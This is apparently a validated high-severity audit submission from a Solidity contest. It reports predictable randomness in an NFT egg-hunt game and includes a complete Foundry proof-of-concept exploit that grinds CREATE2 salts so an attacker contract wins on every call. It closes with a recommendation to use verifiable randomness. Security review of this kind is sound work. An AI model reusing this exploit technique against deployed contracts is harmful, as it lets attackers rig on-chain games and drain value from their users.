Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[H] Predictable Randomness in `searchForEgg()` Allows Guaranteed Egg Minting via CREATE2 Address Precomputation

Summary

An attacker can always win the EggHuntGame by precalculating the random value required to fulfill the winning condition. This is possible because the msg.sender parameter in the random number calculation is user-controlled, while all other inputs are either known, predictable, or constant at the time of computation.

This vulnerability provides an unfair advantage to attackers and drastically inflates the NFT supply, thereby undermining the rarity and value of the tokens.

Vulnerability Details

During the EggHuntGame, players can attempt to find an "egg"—an EggstravaganzaNFT token—by calling EggHuntGame::searchForEgg(). This function computes a "random" number, and if it is below a predefined eggFindThreshold, an NFT is minted to the player via the EggstravaganzaNFT contract.

The vulnerability lies in how the "random" number is generated, specifically in line 72 of the EggHuntGame.sol contract. The randomness is derived from inputs that are either:

  • predictable (block.timestamp, block.prevrandao)

  • constant or accessible (game.eggCounter())

  • attacker-controlled (msg.sender)

By using a contract with a predetermined address (via the CREATE2 opcode and a precalculated salt), an attacker can ensure the "random" number is always below the eggFindThreshold, effectively guaranteeing an egg is found on each attempt.

The attacker deploys a contract (EggSearcher) with a carefully calculated address such that it always satisfies the winning condition. This contract then calls searchForEgg() and automatically transfers the minted egg to the attacker.

Proof of Concept

The following Foundry test demonstrates the exploit. Save this in the test/PoC.t.sol directory of the codebase:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
import {Test, console2} from "forge-std/Test.sol";
import {EggstravaganzaNFT} from "../src/EggstravaganzaNFT.sol";
import {EggVault} from "../src/EggVault.sol";
import {EggHuntGame} from "../src/EggHuntGame.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
contract EggGameTest_SearchForEggPoC is Test {
EggstravaganzaNFT nft;
EggVault vault;
EggHuntGame game;
address owner;
address attacker;
function setUp() public {
owner = address(this); // The test contract is the deployer/owner.
attacker = address(0x3); // The attacker contract.
vm.label(owner, "Owner");
vm.label(attacker, "Attacker");
// Deploy the contracts.
nft = new EggstravaganzaNFT("Eggstravaganza", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
// Set the allowed game contract for minting eggs in the NFT.
nft.setGameContract(address(game));
// Configure the vault with the NFT contract.
vault.setEggNFT(address(nft));
}
/**
* @notice Attack against searchForEgg() function to show that an attacker can mint an egg NTF
with any threshold circumventing the probability distribution.
* @dev Uses CREATE2 opcode to deploy a EggSearcher contract with a specific address that will always pass the
random check in the searchForEgg() function.
* @param eggThreshold The threshold for finding an egg, between 1 and 100. Set by the foundry fuzzing engine.
*/
function test_EggHuntGame_SearchForEgg_AlwaysMintAnEgg(uint256 eggThreshold) public {
// Fuzz config
vm.assume(eggThreshold > 0 && eggThreshold <= 100);
// Environment setup
vm.warp(1000);
vm.startPrank(owner);
game.startGame(1000);
game.setEggFindThreshold(eggThreshold);
vm.stopPrank();
// Attack setup
uint256 eggCounter = game.eggCounter();
bytes memory args = abi.encode(address(game), address(nft));
bytes memory bytecode = type(EggSearcher).creationCode;
bytes memory bytecodeWithArgs = abi.encodePacked(bytecode, args);
// Precalculate a winning address without deploying
(bytes32 winningSalt, address winningAddress) =
precalculateWinningAddress(
eggThreshold,
bytecodeWithArgs,
eggCounter,
block.timestamp,
block.prevrandao
);
vm.startPrank(attacker);
address eggSearcherAddress;
EggSearcher eggSearcher;
assembly {
eggSearcherAddress := create2(0, add(bytecodeWithArgs, 0x20), mload(bytecodeWithArgs), winningSalt)
if iszero(extcodesize(eggSearcherAddress)) {
revert(0, 0)
}
}
eggSearcher = EggSearcher(eggSearcherAddress);
assertEq(eggSearcherAddress, winningAddress, "Deployed address doesn't match precalculated address");
assertEq(attacker, eggSearcher.owner(), "Deployed contract owner is not the attacker");
// Verify that our deployed contract will indeed pass the random check
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, eggSearcherAddress, eggCounter))
) % 100;
assertTrue(random < eggThreshold, "Precalculated address doesn't produce a winning random value");
// Call the game's searchForEgg function, which should succeed
eggSearcher.searchForEggAndTransferToOwner();
eggCounter = game.eggCounter(); // Get the current egg counter which is the tokenId of the last minted egg
// Check that the egg was minted and transferred to the attacker contract by the searcher contract
assertEq(
nft.ownerOf(eggCounter), address(attacker), "Egg was not minted or not transferred to the attacker contract"
);
}
// Function to precalculate address for CREATE2 without deploying
function precalculateWinningAddress(
uint256 eggThreshold,
bytes memory bytecode,
uint256 eggCounter,
uint256 timestamp,
uint256 prevrandao
) public view returns (bytes32 winningSalt, address winningAddress) {
bytes32 salt;
uint256 random;
uint256 counter = 0;
// Calculate bytecode hash once
bytes32 bytecodeHash = keccak256(abi.encodePacked(bytecode));
while (true) {
// Try a new salt value
salt = keccak256(abi.encodePacked(counter));
// Calculate the address that would be created with this salt
// Using CREATE2 address formula: keccak256(0xff ++ deployerAddress ++ salt ++ keccak256(bytecode))[12:]
address addr = address(
uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(attacker), salt, bytecodeHash))))
);
// Calculate the random value that would be generated if this address calls the function
random = uint256(keccak256(abi.encodePacked(timestamp, prevrandao, addr, eggCounter))) % 100;
// Check if this address would win
if (random < eggThreshold) {
return (salt, addr);
}
counter++;
}
}
}
contract EggSearcher is Ownable {
// @notice The only allowed contract to mint eggs (e.g. the EggHuntGame)
EggHuntGame public gameContract;
EggstravaganzaNFT public eggNFT;
error EggNFTNotMintedOrNotOwnedByContract(address eggNFT, address contractAddress, uint256 tokenId);
// @notice Constructor initializes the ERC721 token with a name and symbol.
constructor(address _gameContract, address _eggNFT) Ownable(msg.sender) {
gameContract = EggHuntGame(_gameContract);
eggNFT = EggstravaganzaNFT(_eggNFT);
}
function searchForEggAndTransferToOwner() external onlyOwner {
// run searchForEgg() function from the game contract
// this will always wil because the contract will only be created once a salt was found
// so that this contract address will result in a "random" to be calculated being < eggThreshold
gameContract.searchForEgg();
// and transfer the egg to the owner of this contract
// get the tokenId from the game contract and transfer it to the owner of this contract
uint256 tokenId = gameContract.eggCounter(); // Get the current egg counter which is the tokenId of the last minted egg
// check if the egg was minted and is owned by this contract
if (eggNFT.ownerOf(tokenId) != address(this)) {
revert EggNFTNotMintedOrNotOwnedByContract(address(eggNFT), address(this), tokenId);
}
eggNFT.transferFrom(address(this), msg.sender, tokenId); // Transfer the egg to the owner of this contract
}
}

To run the test, execute the following commands:

forge install https://github.com/OpenZeppelin/openzeppelin-contracts --no-commit # used by the EggSearcher
forge test --mc EggGameTest_SearchForEggPoC -vv

The expected output should be the following:

Ran 1 test for test/EggHuntGameVulnPoC.t.sol:EggGameTest_SearchForEggPoC
[PASS] test_EggHuntGame_SearchForEgg_AlwaysMintAnEgg(uint256) (runs: 256, μ: 905991, ~: 905812)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 179.29ms (178.90ms CPU time)
Ran 1 test suite in 182.38ms (179.29ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

This vulnerability completely breaks the core mechanic of the EggHuntGame. Instead of relying on chance and fairness, a malicious player can mint eggs deterministically, irrespective of the set difficulty (eggFindThreshold). This undermines the game's integrity and devalues the NFTs by flooding the supply.

Tools Used

forge 1.0.0-stable (e144b82070 2025-02-13T20:03:31.026474817Z)
Solc 0.8.28

Recommendations

Replace the current pseudo-random number generation with a secure and verifiable source of randomness, such as Chainlink VRF. The EggHuntGame::searchForEgg() function should be refactored to request a random number using requestRandomWords() and act upon it within a secure fulfillRandomWords() callback. This would eliminate any user control over the randomness and prevent exploit scenarios like this.

Updates

Lead Judging Commences

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.